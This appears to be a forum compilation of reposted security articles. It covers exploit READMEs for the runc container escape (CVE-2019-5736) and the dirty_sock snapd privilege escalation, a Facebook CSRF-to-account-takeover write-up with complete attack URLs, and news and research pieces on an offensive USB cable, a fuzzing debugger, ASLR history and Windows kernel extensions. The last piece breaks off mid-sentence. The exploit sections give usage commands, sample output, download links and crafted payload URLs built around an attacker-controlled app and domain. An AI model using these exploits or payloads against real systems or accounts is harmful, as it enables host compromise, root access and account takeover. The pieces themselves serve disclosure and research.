read-only file system on the host, at least for storing the docker-runc binary. Use a low privileged user inside the container or a new user namespace with uid 0 mapped to that user (then that user should not have write access to runc binary on the host). Timeline 1 January 2019 - Vulnerability discovered and PoC created 1 January - Vulnerability reported to security@docker.com 2 January - Report forwarded by docker security team to security@opencontainers.org 3 - 5 January - Discussion about fix ideas 11 February - end of CVE-2019-5736 embargo 13 February - this post publication Authors: Adam Iwaniuk, Borys Popławski Posted by Adam Iwaniuk at 00:42 Sursa: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

# Usage Edit HOST inside `payload.c`, compile with `make`. Start `nc` and run `pwn.sh` inside the container. # Notes - This exploit is destructive: it'll overwrite `/usr/bin/docker-runc` binary *on the host* with the payload. It'll also overwrite `/bin/sh` inside the container. - Tested only on Debian 9. - No attempts were made to make it stable or reliable, it's only tested to work when a `docker exec <id> /bin/sh` is issued on the host. More complete explanation [here](https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d). Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46359.zip Sursa: https://www.exploit-db.com/exploits/46359

# dirty_sock: Privilege Escalation in Ubuntu (via snapd) In January 2019, current versions of Ubuntu Linux were found to be vulnerable to local privilege escalation due to a bug in the snapd API. This repository contains the original exploit POC, which is being made available for research and education. For a detailed walkthrough of the vulnerability and the exploit, please refer to the <a href="https://initblog.com/2019/dirty-sock/" target="_blank"> blog posting here</a>. You can easily check if your system is vulnerable. Run the command below. If your `snapd` is 2.37.1 or newer, you are safe. ``` $ snap version ... snapd 2.37.1 ... ``` # Usage ## Version One (use in most cases) This exploit bypasses access control checks to use a restricted API function (POST /v2/create-user) of the local snapd service. This queries the Ubuntu SSO for a username and public SSH key of a provided email address, and then creates a local user based on these value. Successful exploitation for this version requires an outbound Internet connection and an SSH service accessible via localhost. To exploit, first create an account at the <a href="https://login.ubuntu.com/" target="_blank">Ubuntu SSO</a>. After confirming it, edit your profile and upload an SSH public key. Then, run the exploit like this (with the SSH private key corresponding to public key you uploaded): ``` python3 ./dirty_sockv1.py -u "you@yourmail.com" -k "id_rsa" [+] Slipped dirty sock on random socket file: /tmp/ktgolhtvdk;uid=0; [+] Binding to socket file... [+] Connecting to snapd API... [+] Sending payload... [+] Success! Enjoy your new account with sudo rights! [Script will automatically ssh to localhost with the SSH key here] ``` ## Version Two (use in special cases) This exploit bypasses access control checks to use a restricted API function (POST /v2/snaps) of the local snapd service. This allows the installation of arbitrary snaps. Snaps in "devmode" bypass the sandbox and may include an "install hook" that is run in the context of root at install time. dirty_sockv2 leverages the vulnerability to install an empty "devmode" snap including a hook that adds a new user to the local system. This user will have permissions to execute sudo commands. As opposed to version one, this does not require the SSH service to be running. It will also work on newer versions of Ubuntu with no Internet connection at all, making it resilient to changes and effective in restricted environments. This exploit should also be effective on non-Ubuntu systems that have installed snapd but that do not support the "create-user" API due to incompatible Linux shell syntax. Some older Ubuntu systems (like 16.04) may not have the snapd components installed that are required for sideloading. If this is the case, this version of the exploit may trigger it to install those dependencies. During that installation, snapd may upgrade itself to a non-vulnerable version. Testing shows that the exploit is still successful in this scenario. See the troubleshooting section for more details. To exploit, simply run the script with no arguments on a vulnerable system. ``` python3 ./dirty_sockv2.py [+] Slipped dirty sock on random socket file: /tmp/gytwczalgx;uid=0; [+] Binding to socket file... [+] Connecting to snapd API... [+] Deleting trojan snap (and sleeping 5 seconds)... [+] Installing the trojan snap (and sleeping 8 seconds)... [+] Deleting trojan snap (and sleeping 5 seconds)... ******************** Success! You can now `su` to the following account and use sudo: username: dirty_sock password: dirty_sock ******************** ``` # Troubleshooting If using version two, and the exploit completes but you don't see your new account, this may be due to some background snap updates. You can view these by executing `snap changes` and then `snap change #`, referencing the line showing the install of the dirty_sock snap. Eventually, these should complete and your account should be usable. Version 1 seems to be the easiest and fastest, if your environment supports it (SSH service running and accessible from localhost). Please open issues for anything weird. # Disclosure Info The issue was reported directly to the snapd team via Ubuntu's bug tracker. You can read the full thread <a href="https://bugs.launchpad.net/snapd/+bug/1813365" target="_blank">here</a>. I was very impressed with Canonical's response to this issue. The team was awesome to work with, and overall the experience makes me feel very good about being an Ubuntu user myself. Public advisory links: - https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SnapSocketParsing - https://usn.ubuntu.com/3887-1/ Proof of Concept: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46360.zip Sursa: https://www.exploit-db.com/exploits/46360

Posted on February 12, 2019 by qw Facebook CSRF protection bypass which leads to Account Takeover. This bug could have allowed malicious users to send requests with CSRF tokens to arbitrary endpoints on Facebook which could lead to takeover of victims accounts. In order for this attack to be effective, an attacker would have to trick the target into clicking on a link. Demonstration This is possible because of a vulnerable endpoint which takes another given Facebook endpoint selected by the attacker along with the parameters and make a POST request to that endpoint after adding the fb_dtsg parameter. Also this endpoint is located under the main domain www.facebook.com which makes it easier for the attacker to trick his victims to visit the URL. The vulnerable endpoint is: https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX where XXXX is the endpoint with parameters where the POST request is going to be made (the CSRF token fb_dtsg is added automatically to the request body). This allowed me to make many actions if the victim visits this URLs. Some of these are: Make a post on timeline: https://www.facebook.com/comet/dialog_DONOTUSE/?url= /api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}} Delete Profile Picture: https://www.facebook.com/comet/dialog_DONOTUSE/? url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID} Trick user to delete their account (After changing language with “locale” parameter) https://www.facebook.com/comet/dialog_DONOTUSE/? url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR This will promote a password confirmation dialog, if the victim enters his password then his account will be deleted. Account Takeover Approach To takeover the account, we have to add a new email address or phone number to the victim account. The problem here is that the victim has to visit two separate URLs , one to add the email/phone and one to confirm it because the “normal” endpoints used to add emails or phone numbers don’t have a “next” parameter to redirect the user after a successful request. So to bypass this, i needed to find endpoints where the “next” parameter is present so the account takeover could be made with a single URL. 1) We authorize the attacker app as the user then we redirect to https://www.facebook.com/v3.2/dialog/oauthwhich will automatically redirect to the attacker website with access_token having the scopes allowed to that app (this happens without user interaction because the app is already authorized using the endpoint /ajax/appcenter/redirect_to_app). This URL should be sent to the user: https://www.facebook.com/comet/dialog_DONOTUSE/?url= /ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog This step is needed for multiple things: First to use the endpoint /v3.2/dialog/oauth to bypass Facebook redirect protection in the “next” parameter which blocks redirecting attempts to external websites even if they are made using linkshim. Second to identify each victim using the token received which will help later to extract the confirmation code for that specific user. 2)The attacker website receives the access token of the user , creates an email for him under that domain and redirect the user to : https://www.facebook.com/comet/dialog_DONOTUSE/? url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next= /v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK] This URL does the follow: First it links an email to the user account using the endpoint /add_contactpoint/dialog/submit/ (no password confirmation is required). After the linking, it redirects to the selected endpoint in “next” paramter: "/v3.2/dialog/oauth?response_type=token&client_id={ATTACKER_APP}&redirect_uri={ATTACKER_DOMAIN}" which will redirect to the “ATTACKER_DOMAIN” again with the user access_token. 3) The attacker website receives the “access_token”, extract the user ID then search for the email received for that user and gets the confirmation link then redirects again to : https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH} (CODE and HASH are in the email received from Facebook) This method is simpler for the attacker but after the linking the endpoint redirects the victim to https://www.facebook.com/settings?section=email which expose the newly added email so the confirmation could be done using the /confirm_code/dialog/submit/ endpoint which have a “next” parameter that could redirect the victim to the home page after the confirmation is made. 4) The email is now added to the victim account, the attacker could reset the password and takeover the account. The attack seems long but it’s done in a blink of an eye and it’s dangerous because it doesn’t target a specific user but anyone who visits the link in step 1 (This is done with simple scripts hosted in the attacker website) Timeline Jan 26, 2018 — Report Sent Jan 26, 2018 —  Acknowledged by Facebook Jan 28, 2018 —  More details sent Jan 31, 2018 — Fixed by Facebook Feb 12, 2018 — $25,000  Bounty Awarded by Facebook Sursa: https://ysamm.com/?p=185

New Offensive USB Cable Allows Remote Attacks over WiFi By Lawrence Abrams February 11, 2019 12:27 PM Like a scene from a James Bond or Mission Impossible movie, a new offensive USB cable plugged into a computer could allow attackers to execute commands over WiFi as if they were using the computer's keyboard. When plugged into a Linux, Mac, or Windows computer, this cable is detected by the operating system as a HID or human interface device. As HID devices are considered input devices by an operating system, they can be used to input commands as if they are being typed on a keyboard. Created by security researcher Mike Grover, who goes by the alias _MG_, the cable includes an integrated WiFi PCB that was created by the researcher. This WiFi chip allows an attacker to connect to the cable remotely to execute command on the computer or manipulate the mouse cursor. PCB with Embedded WiFi Chip In a video demonstration by Grover, you can see how the researcher simply plugs a cable into the a PC and is able to connect to it remotely to issue commands through an app on his mobile phone. In an interview with BleepingComputer, Grover explained that when plugged in, the cable is seen as a keyboard and a mouse. This means an attacker can input commands regardless of whether the device is locked or not. Even scarier, if the computer normally locks a session using an inactivity timer, the cable can be configured to simulate user interaction to prevent this. "It “works” just like any keyboard and mouse would at a lock screen, which means you can type and move the mouse," Grover told BleepingComputer. "Therefore, if you get access to the password you can unlock the device. Also, if the target relies on an inactivity timer to auto lock the machine, then it’s easy to use this cable to keep the lock from initiating by simulating user activity that the user would not notice otherwise (tiny mouse movements, etc)." Grover further told BleepingComputer that these WiFi chips can be preconfigured to connect to a WiFi network and potentially open reverse shells to a remote computer. This could allow attackers in remote locations to execute commands to grant further visibility to the computer when not in the vicinity of the cable. The app that issues commands to the O·MG cable is being developed collaboratively according to blog post by Grover. The developers hope to port the ESPloitV2 tool for use in the cable. WiFi deuthentication attacks may also be possible While the HID attack can be prevented using a USB condom, which prevents data transmission between the cable and the computer, Grover told BleepingComputer that it could still be used for WiFi deauthentication attacks. WiFi deauth attacks are used to disconnect nearby wireless devices from an access point by sending deauthentication frames from spoofed MAC addresses. Grover envisions that a deauth attack can be used in scenarios where the attacker does not have access to a location to perform an attack, but the victim's plugged in cable does. This could allow a remote attacker to create a physical diversion while allowing another remote attack that may have been noticed to slip by. As an example, Grover illustrated the following scenario. "You aren’t in range of a wireless target, but the target person is. Using this cable, you can get them to carry the attack hardware inside a controlled area. Maybe to disrupt a camera? Maybe a fun disruption/diversion for another attack. (Imagine distributing a dozen inside an office and suddenly IT/Sec is focused on the chaos)." Researcher hopes to sell the cable This cable is not currently for sale, but Grover hopes to sell it to other security researchers in the future. Grover told BleepingComputer that he has spent approximately $4,000 over 300 hours of research into creating the needed WiFi PCBs and adding them to the cable. This was done using a desktop mill, which is typically not used to create high quality PCBs in a DIY environment. Due to this, many users were surprised by the quality of Grover's chips and Bantam, the manufacturer of the mill, reached out to learn how the researcher was able to do it. PCBs printed in various colors by Grover Before selling the cables, the researcher still wants to make more changes before sending it off for production. Sursa: https://www.bleepingcomputer.com/news/security/new-offensive-usb-cable-allows-remote-attacks-over-wifi/#.XGG_FsgLNm8.twitter

Summary Mesos is a tool to gather binary code coverage on all user-land Windows targets without need for source or recompilation. It also provides an automatic mechanism to save a full minidump of a process if it crashes under mesos. Mesos is technically just a really fast debugger, capable of handling tens of millions of breakpoints. Using this debugger, we apply breakpoints to every single basic block in a program. These breakpoints are removed as they are hit. Thus, mesos converges to 0-cost coverage as gathering coverage only has a cost the first time the basic block is hit. Why? This is effectively the successor of my 5+ year old Chrome IPC fuzzer. It doesn't have any fuzz components in it, but it is a high-performance debugger. This debugger can apply millions of breakpoints to gather coverage, and handle thousands of breakpoints per second to modify memory to inject inputs. This strategy has worked out well for me historically and still is my go-to tooling for fuzzing targets on live systems. Out of the box it can be used to gather simple code coverage but it's designed to be easily modified to add fast breakpoint handlers to inject inputs. For example, put a breakpoint after NtReadFile() returns and modify the buffer in flight. I used this in Chrome to modify inbound IPC traffic in the browser. Features Code coverage Automatic full minidump saving IDA Coloring Quick Usage Guide Set %PATH% such that idat64.exe is in it: path %PATH%;"C:\Program Files\IDA 7.2" Generate mesos (the first time will be slow): powershell .\offline_meso.ps1 <pid> python generate_mesos.py process_ida Gather coverage on target! cargo build --release target\release\mesos.exe <pid> Applying 1.6 million breakpoints? No big deal. C:\dev\mesos>target\release\mesos.exe 13828 mesos is 64-bit: true target is 64-bit: true [ 0.003783] Applied 5629 breakpoints ( 5629 total breakpoints) notepad.exe [ 0.028071] Applied 61334 breakpoints ( 66963 total breakpoints) ntdll.dll [ 0.035298] Applied 25289 breakpoints ( 92252 total breakpoints) kernel32.dll [ 0.058815] Applied 55611 breakpoints ( 147863 total breakpoints) kernelbase.dll ... [ 0.667417] Applied 11504 breakpoints ( 1466344 total breakpoints) oleacc.dll [ 0.676151] Applied 19557 breakpoints ( 1485901 total breakpoints) textinputframework.dll [ 0.705431] Applied 66650 breakpoints ( 1552551 total breakpoints) coreuicomponents.dll [ 0.717276] Applied 25202 breakpoints ( 1577753 total breakpoints) coremessaging.dll [ 0.720487] Applied 7557 breakpoints ( 1585310 total breakpoints) ntmarta.dll [ 0.732045] Applied 28569 breakpoints ( 1613879 total breakpoints) iertutil.dll Usage To use mesos there are 3 major steps. First, the modules of a running process are saved. Second, these modules are loaded in IDA which then outputs a list of all basic blocks into the meso format. And finally, mesos is run against a target process to gather coverage! Creating meso_deps.zip This step is the first thing we have to do. We create a ZIP file containing all of the modules loaded into a given PID. This script requires no internet and is designed to be easily dropped onto new VMs so mesos can be generated for your target application. It depends on PowerShell v5.0 or later which is installed by default on Windows 10 and Windows Server 2016. Run, with <pid> replaced with the process ID you want to gather coverage on: C:\dev\mesos>powershell .\offline_meso.ps1 8484 Powershell is 64-bit: True Target is 64-bit: True C:\dev\mesos> Optionally you can supply -OutputZip <zipfile> to change the output zip file name This will create a meso_deps.zip that if you look at contains all of the modules used in the process you ran the script targeting. Example output: C:\dev\mesos>powershell .\offline_meso.ps1 8484 -OutputZip testing.zip Powershell is 64-bit: True Target is 64-bit: True C:\dev\mesos>powershell Expand-Archive testing.zip -DestinationPath example C:\dev\mesos>powershell Get-ChildItem example -rec -File -Name cache\c_\program files\common files\microsoft shared\ink\tiptsf.dll cache\c_\program files\intel\optaneshellextensions\iastorafsserviceapi.dll cache\c_\program files\widcomm\bluetooth software\btmmhook.dll cache\c_\program files (x86)\common files\adobe\coresyncextension\coresync_x64.dll ... Generating meso files To generate meso files we operate on the meso_deps.zip we created in the last step. It doesn't matter where this zip came from. This allows the zip to have come from a VM that the PowerShell script was run on. Basic usage is: python generate_mesos.py process_ida This will use the meso_deps.zip file as an input, and use IDA to process all executables in the zip file and figure out where their basic blocks are. This will create a cache folder with a bunch of files in it. These files are named based on the module name, the modules TimeDateStamp in the PE header, and the ImageSize field in the PE header. This is what DLLs are uniqued by in the PDB symbol store, so it should be good enough for us here too. You'll see there are files with no extension (these are the original binaries), there are files with .meso extensions (the breakpoint lists), and .i64 files (the cached IDA database for the original binary). Symbol resolution There is no limitation on what can make these meso files. The quality of the symbol resolution depends on the tool you used to generate and it's ability to resolve symbols. For example with IDA if you have public/private symbols your _NT_SYMBOL_PATH should be configured correctly. More advanced usage Check the programs usage for the most recent usage. But there are _whitelist and _blacklist options that allow you to use a list of strings to filter the amount of mesos generated. This is helpful as coverage outside of your target module is probably not relevant and just introduces overheads and unnecessary processing. C:\dev\mesos>python generate_mesos.py Usage: generate_mesos.py process_ida Processes all files in the meso_deps.zip file generate_mesos.py process_ida_whitelist <str 1> <str 2> <str ...> Processes files only containing one of the strings provided generate_mesos.py process_ida_blacklist <str 1> <str 2> <str ...> Processes files all files except for those containing one of the provided strings Examples: python generate_mesos.py process_ida_whitelist system32 Only processes files in `system32` python generate_mesos.py process_ida_blacklist ntdll.dll Process all files except for `ntdll.dll` Path requirements for process_ida_*: must have `idat64.exe` in your PATH Example usage C:\dev\mesos>python generate_mesos.py process_ida_whitelist system32 Processing cache/c_/windows/system32/advapi32.dll Processing cache/c_/windows/system32/bcryptprimitives.dll Processing cache/c_/windows/system32/cfgmgr32.dll ... Processing cache/c_/windows/system32/user32.dll Processing cache/c_/windows/system32/uxtheme.dll Processing cache/c_/windows/system32/win32u.dll Processing cache/c_/windows/system32/windows.storage.dll Processing cache/c_/windows/system32/wintypes.dll Meso usage Now we're onto the actual debugger. We've created meso files to tell it where to put breakpoints in each module. First we need to build it with Rust! cargo build --release And then we can simply run it with a PID! target\release\mesos.exe <pid> Command-line options Currently there are few options to mesos, run mesos without arguments to get the most recent list. C:\dev\mesos>target\release\mesos.exe Usage: mesos.exe <pid> [--freq | --verbose | --print] <explicit meso file 1> <explicit meso file ...> --freq - Treats all breakpoints as frequency breakpoints --verbose - Enables verbose prints for debugging --print - Prints breakpoint info on every single breakpoint [explicit meso file] - Load a specific meso file regardless of loaded modules Standard usage: mesos.exe <pid> Example usage C:\dev\mesos>target\release\mesos.exe 13828 mesos is 64-bit: true target is 64-bit: true [ 0.004033] Applied 5629 breakpoints ( 5629 total breakpoints) notepad.exe [ 0.029248] Applied 61334 breakpoints ( 66963 total breakpoints) ntdll.dll [ 0.037032] Applied 25289 breakpoints ( 92252 total breakpoints) kernel32.dll [ 0.062844] Applied 55611 breakpoints ( 147863 total breakpoints) kernelbase.dll ... [ 0.739059] Applied 66650 breakpoints ( 1552551 total breakpoints) coreuicomponents.dll [ 0.750266] Applied 25202 breakpoints ( 1577753 total breakpoints) coremessaging.dll [ 0.754485] Applied 7557 breakpoints ( 1585310 total breakpoints) ntmarta.dll [ 0.766119] Applied 28569 breakpoints ( 1613879 total breakpoints) iertutil.dll ... [ 23.544097] Removed 5968 breakpoints in imm32.dll [ 23.551529] Syncing code coverage database... [ 23.675103] Sync complete (169694 total unique coverage entries) Detached from process 13828 Why not use cargo run? When running in cargo run the Ctrl+C handler does not work correctly, and does not allow us to detach from the target program cleanly. Limitations Since this relies on a tool (IDA) to identify blocks, if the tool incorrectly identifies a block it could result in us inserting a breakpoint over data. Further it's possible to miss coverage if a block is not correctly found. Why doesn't it do more? Well. It really just allows fast breakpoints. Feel free to rip it apart and add your own hooks to functions. It could easily be used to fuzz things Why IDA? I tried a bunch of tools and IDA was the only one that seemed to work well. Binja probably would also work well but I don't have it installed and I'm not familiar with the API. I have a coworker who wrote a plugin for it and that'll probably get pull requested in soon. The meso files are just simple files, anyone can generate them from any tool Technical Details Minidump autogenned filenames The generated minidump filenames are designed to give a high-level of glance value at crashes. It includes things like the exception type, faulting address, and rough classification of the bug. Currently if it's an access violation we apply the following classification: Determine the access type (read, write, execute) For reads the filename contains: "read" For writes the filename contains: "WRITE" For execute the filename contains: "DEP" Determine if it's a non-canonical 64-bit address For non-canonical addresses the filename contains: NONCANON Otherwise determine if it's a NULL dereference (within 32 KiB +- of NULL) Will put "null" in the filename Otherwise it's considered a non-null deref and "HIGH" appears in the filename It's intended that more severe things are in all caps to give higher glance value of prioritizing which crash dumps to look into more. Example minidump filename for chrome: crash_c0000005_chrome_child.dll+0x2c915c0_WRITE_null.dmp Meso file format Coming soon (once it's stable) Sursa: https://github.com/gamozolabs/mesos

Benno Rice https://2019.linux.conf.au/schedule/p... systemd is, to put it mildly, controversial. As a FreeBSD developer I decided I wanted to know why. I delved into the history of bootstrap systems, and even the history of UNIX and other contemporary operating systems, to try and work out why something like systemd was seem as necessary, if not desirable. I also tried to work out why so many people found it so upsetting, annoying, or otherwise rage-inducing. Join me on a journey through the bootstrap process, the history of init, the reasons why change can be scary, and the discovery of a part of your OS you may not even know existed. linux.conf.au is a conference about the Linux operating system, and all aspects of the thriving ecosystem of Free and Open Source Software that has grown up around it. Run since 1999, in a different Australian or New Zealand city each year, by a team of local volunteers, LCA invites more than 500 people to learn from the people who shape the future of Open Source. For more information on the conference see https://linux.conf.au/

Microsoft: Improved security features are delaying hackers from attacking Windows users If a vulnerability is exploited, it is most likely going to be exploited as zero-day, or an old security bug for which users and companies have had enough time to patch. By Catalin Cimpanu for Zero Day | February 10, 2019 -- 18:37 GMT (18:37 GMT) | Topic: Security Image: Matt Miller Constant security improvements to Microsoft products are finally starting to pay off dividends, a Microsoft security engineer revealed last week. Speaking at the BlueHat security conference in Israel, Microsoft security engineer Matt Miller said that widespread mass exploitation of security flaws against Microsoft users is now uncommon --the exception to the rule, rather than the norm. Miller credited the company's efforts in improving its products with the addition of security-centric features such as a firewall on-by-default, Protected View in Office products, DEP (Data Execution Prevention), ASLR (Address Space Layout Randomization), CFG (Control Flow Guard), app sandboxing, and more. These new features have made it much harder for mundane cybercrime operations to come up with zero-days or reliable exploits for newly patched Microsoft bugs, reducing the number of vulnerabilities exploited at scale. Mass, non-discriminatory exploitation does eventually occur, but usually long after Microsoft has delivered a fix, and after companies had enough time to test and deploy patches. Miller said that when vulnerabilities are exploited, they are usually part of targeted attacks, rather than cybercrime-related mass exploitation attacks. For example, in 2018, 90 percent of all zero-days affecting Microsoft products were exploited part of targeted attacks. These are zero-days found and used by nation-state cyber-espionage groups against strategic targets, rather than vulnerabilities discovered by spam groups or exploit kit operators. The other 10 percent of zero-day exploitation attempts weren't cyber-criminals trying to make money, but people playing with non-weaponized proof-of-concept code trying to understand what a yet-to-be-patched vulnerability does. Image: Matt Miller "It is now uncommon to see a non-zero-day exploit released within 30 days of a patch being available," Miller also added. Exploits for both zero-day and non-zero-day vulnerabilities usually pop up much later because it's getting trickier and trickier to develop weaponized exploits for vulnerabilities because of all the additional security features that Microsoft has added to Windows and other products. Two charts in Miller's presentation perfectly illustrate this new state of affairs. The chart on the left shows how Microsoft's efforts into patching security flaws have intensified in recent years, with more and more security bugs receiving fixes (and a CVE identifier). On the other hand, the chart on the right shows that despite the rising number of known flaws in Microsoft products, fewer and fewer of these vulnerabilities are entering the arsenal of hacking groups and real-world exploitation within the 30 days after a patch. Image: Matt Miller This shows that Microsoft's security defenses are doing their job by putting additional hurdles in the path of cybercrime groups. If a vulnerability is exploited, it is most likely going to be exploited as zero-day by some nation-state threat actor, or as an old security bug for which users and companies have had enough time to patch. Sursa: https://www.zdnet.com/article/microsoft-improved-security-features-are-delaying-hackers-from-attacking-windows-users/

John Lambert @JohnLaTwC 2 days ago, 23 tweets, 5 min read Read on Twitter Story time. This one is about a feature in Windows called ASLR. It was 2005. We were working on Windows Vista. Most remember it as the release with the maligned User Account Control feature. For us in Trustworthy Computing it was the first full Windows cycle where we could apply all the security engineering tools we had from start to finish. Efforts such as fuzzing file parsers, scrubbing the code of ‘banned APIs’ across millions of lines of code, fixing masses of potential bugs from static analysis, and driving initiatives to deal with newly discovered ‘diseases’ like mismatched container COM instantiation. We hired the most spectacular group of researchers I’ve seen assembled from NGS, iSEC Partners, IOActive, and n.runs, gave them source code, access to Windows engineers, and told to hack without boundaries. My words to them in an early meeting were “you are here to blow sh*t up” A quieter effort was going on to shore up our memory safety mitigations. Mitigations touch the holiest of holies in the OS: the compiler, the memory manager, the loader. Areas you just don’t mess with late in an OS release. The breathing room created by hardware Data Execute Protection we added in XP SP2 was gone. Exploits were using return to libc attacks and taking advantage of the fact that much of the memory layout in a Windows process was predictable. This was a feature. A lot of work went in to carefully laying out memory so commonly loaded DLLs would never ‘collide’ and require the OS to relocate them at load time. The performance saving across every boot, every process load, on every PC was massive. And we needed to undo that work to build a new defense—Address Space Layout Randomization or ASLR. ASLR would scramble the location of loaded modules and other process structures. However, it was late in the release, crazy late, to contemplate a change of this magnitude. We had a few things in our favor. The feature was championed by @MattT_Cyber. Sometimes things happen because the right person says they need to happen. This was one of those features and Matt was one of those people. Our Exec VP, Jim Allchin, wanted it. Ever since Blaster, he pushed the team to contemplate big security “sledgehammers” instead of just fighting bugs in “hand to hand combat”. Host firewall on by default in XPSP2, hardware DEP support, and now ASLR. Brian Valentine, who oversaw Windows development, recalled a @bluehat talk by @hdmoore where he showed these tables that Metasploit had for identifying code gadgets in consistent locations across OS and service packs. “Will this break that?” It would and that was enough for him. Sponsorship was there but could we pull it off? A crucial moment arrived when the developer responsible for the memory manager, Landy Wang, finished up his backlog of work and got a free moment to consider it. It was a complex change and would it have the desired payoff? He turned to a trusted engineer, Neill Clift, and privately asked if it was worth doing. Neill gave it a nod. I remember Landy doing an initial prototype over a weekend. Suddenly we were in the game. A boatload of work remained to make it truly viable with contributions across the company: - Architecture and Development: LandyW, ArunKi, RichardS, BryanT - Security Analysis: NeillC, NiGoel, MichalCh, SergFo - AppCompat Analysis: RobKenny, RPaige, TBaxter Needless to say, it happened. We pondered how to announce it. Since ASLR was a feature that security researchers would notice, we decided to introduce it at a researcher conference. The year before I attended Ph Neutral put on by the legendary Phenoelit group in Germany. mentions took me around and introduced me to people at the con. Sometimes people are right where they need to be. Microsoft needed @window and she brought down walls between Microsoft and the researcher community. This conference was the right spot. I flew to Berlin. In 2006 Microsoft was very controversial in security circles. Showing up as the representative of the “evil empire” in a den of security researchers dedicated to finding our flaws and revealing them to a seeming clueless corporate behemoth was enough to give anyone pause I entered the room to give my presentation. The room filled up. Completely up. People were sitting on the floor, standing along the walls, hovering in the doorway. There was an electricity in the air--the room was finally going to hear from a Microsoft insider on our efforts. Would people be hostile? Interrupt and challenge me? There were plenty of reasons for the crowd to be cynical. I had no idea how this was going to go. I had prepared a very technical presentation because I that’s how I thought to best respect the audience. FX (@41414141) came up to the front and introduced me. Then he did something I’ll never forget. Seeming on the spur of the moment, he didn’t join the audience and instead sat next to me by the podium. It was a small thing in some ways, but it meant the world to me. His presence next to me seemed to suggest to the room “he is a guest here and we will treat him with respect”. To feel like an outsider and have the ultimate insider in his forum make sure you will be treated right is one of the kindest gestures I’ve ever received. I completed my presentation and found the subsequent hallway conversations thrilling. I later delivered the same brief at Blackhat (blackhat.com/presentations/…). As time went on, the value of ASLR diminished but I remember most the human moments that brought together an unlikely cast working on the messy hairball of security, enduring headwinds and advancing forward. Sursa: https://threadreaderapp.com/thread/1093956949073289216.html

Yes, More Callbacks — The Kernel Extension Mechanism Yarden Shafir Jan 1 Recently I had to write a kernel-mode driver. This has made a lot of people very angry and been widely regarded as a bad move. (Douglas Adams, paraphrased) Like any other piece of code written by me, this driver had several major bugs which caused some interesting side effects. Specifically, it prevented some other drivers from loading properly and caused the system to crash. As it turns out, many drivers assume their initialization routine (DriverEntry) is always successful, and don’t take it well when this assumption breaks. j00ru documented some of these cases a few years ago in his blog, and many of them are still relevant in current Windows versions. However, these buggy drivers are not really the issue here, and j00ru covered it better than I could anyway. Instead I focused on just one of these drivers, which caught my attention and dragged me into researching the so-called “windows kernel host extensions” mechanism. The lucky driver is Bam.sys (Background Activity Moderator) — a new driver which was introduced in Windows 10 version 1709 (RS3). When its DriverEntry fails mid-way, the call stack leading to the system crash looks like this: From this crash dump, we can see that Bam.sys registered a process creation callback and forgot to unregister it before unloading. Then, when a process was created / terminated, the system tried to call this callback, encountered a stale pointer and crashed. The interesting thing here is not the crash itself, but rather how Bam.sys registers this callback. Normally, process creation callbacks are registered via nt!PsSetCreateProcessNotifyRoutine(Ex), which adds the callback to the nt!PspCreateProcessNotifyRoutine array. Then, whenever a process is being created or terminated, nt!PspCallProcessNotifyRoutines iterates over this array and calls all of the registered callbacks. However, if we run for example “!wdbgark.wa_systemcb /type process“ in WinDbg, we’ll see that the callback used by Bam.sys is not found in this array. Instead, Bam.sys uses a whole other mechanism to register its callbacks. If we take a look at nt!PspCallProcessNotifyRoutines, we can see an explicit reference to some variable named nt!PspBamExtensionHost (there is a similar one referring to the Dam.sys driver). It retrieves a so-called “extension table” using this “extension host” and calls the first function in the extension table, which is bam!BampCreateProcessCallback. If we open Bam.sys in IDA, we can easily find bam!BampCreateProcessCallback and search for its xrefs. Conveniently, it only has one, in bam!BampRegisterKernelExtension: As suspected, Bam!BampCreateProcessCallback is not registered via the normal callback registration mechanism. It is actually being stored in a function table named Bam!BampKernelCalloutTable, which is later being passed, together with some other parameters (we’ll talk about them in a minute) to the undocumented nt!ExRegisterExtension function. I tried to search for any documentation or hints for what this function was responsible for, or what this “extension” is, and couldn’t find much. The only useful resource I found was the leaked ntosifs.h header file, which contains the prototype for nt!ExRegisterExtension as well as the layout of the _EX_EXTENSION_REGISTRATION_1 structure. Prototype for nt!ExRegisterExtension and _EX_EXTENSION_REGISTRATION_1, as supplied in ntosifs.h: NTKERNELAPI NTSTATUS ExRegisterExtension ( _Outptr_ PEX_EXTENSION *Extension, _In_ ULONG RegistrationVersion, _In_ PVOID RegistrationInfo ); typedef struct _EX_EXTENSION_REGISTRATION_1 { USHORT ExtensionId; USHORT ExtensionVersion; USHORT FunctionCount; VOID *FunctionTable; PVOID *HostInterface; PVOID DriverObject; } EX_EXTENSION_REGISTRATION_1, *PEX_EXTENSION_REGISTRATION_1; After a bit of reverse engineering, I figured that the formal input parameter “PVOID RegistrationInfo” is actually of type PEX_EXTENSION_REGISTRATION_1. The pseudo-code of nt!ExRegisterExtension is shown in appendix B, but here are the main points: nt!ExRegisterExtension extracts the ExtensionId and ExtensionVersion members of the RegistrationInfo structure and uses them to locate a matching host in nt!ExpHostList (using the nt!ExpFindHost function, whose pseudo-code appears in appendix B). Then, the function verifies that the amount of functions supplied in RegistrationInfo->FunctionCount matches the expected amount set in the host’s structure. It also makes sure that the host’s FunctionTable field has not already been initialized. Basically, this check means that an extension cannot be registered twice. If everything seems OK, 